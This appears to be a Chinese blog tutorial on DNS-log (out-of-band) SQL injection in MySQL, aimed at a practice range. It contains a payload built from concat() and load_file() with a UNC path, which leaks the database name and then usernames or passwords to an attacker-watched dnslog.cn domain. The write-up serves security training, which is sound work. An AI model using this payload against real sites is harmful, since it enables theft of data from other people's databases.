先来将SQL基础,这里用不一样的方式打开数据库

启动cmd,在mysql的二进制文件目录下启动CMD,并且输入mysql

数据库已经启动

当然,如果你之前设置过密码,启动的时候输入mysql -uroot -p然后输入密码并且启动;

启动之后可以查看当前数据库show databases;

记得每句话要加分号,我们可以先选定一个数据库,use+数据库;

然后select database();查看当前数据库

现在尝试concat(拼接字符)

concat(‘a’,’b’);

image-20210204224741154

看图的下面你也同样看到了其他的语句结合我们刚才用dnslog.cn做的实验查到的域名做拼接image-20210204224907584

语句在图中,并且可以尝试一个新函数load_file();

特别注意,WWW下的文件是可以在网页中执行的,所以是正斜杠,但是我们复制文件路径的时候是反斜杠,自己要改过来

同时还可以读取远程文件,刚才是读本地文件

要用unc路径即//+域名

select load_file(‘//www.mss.cn/2.txt’);

读取远程文件必先用dns服务器转换域名

要通过ip来找服务器

我们先select concat(‘//‘,(select database()),’域名/文件‘);

image-20210204231151310

然后读取本地文件即可select load_file();

image-20210204231226375

我们在dns解析查询刷新是能收到解析记录的。(select database())双层括号是因为从小就知道要先算小括号里面的,为了防止一开始就被url编码。下面实战靶场,封神台注册,左边训练营image-20210204232522866

然后在漏洞实战里面找DNS注入打开

image-20210204233512429

上面get传参内容,即可。再回到dnslog.cn刷新记录,查看我们得到的信息。用户名或者密码之类的。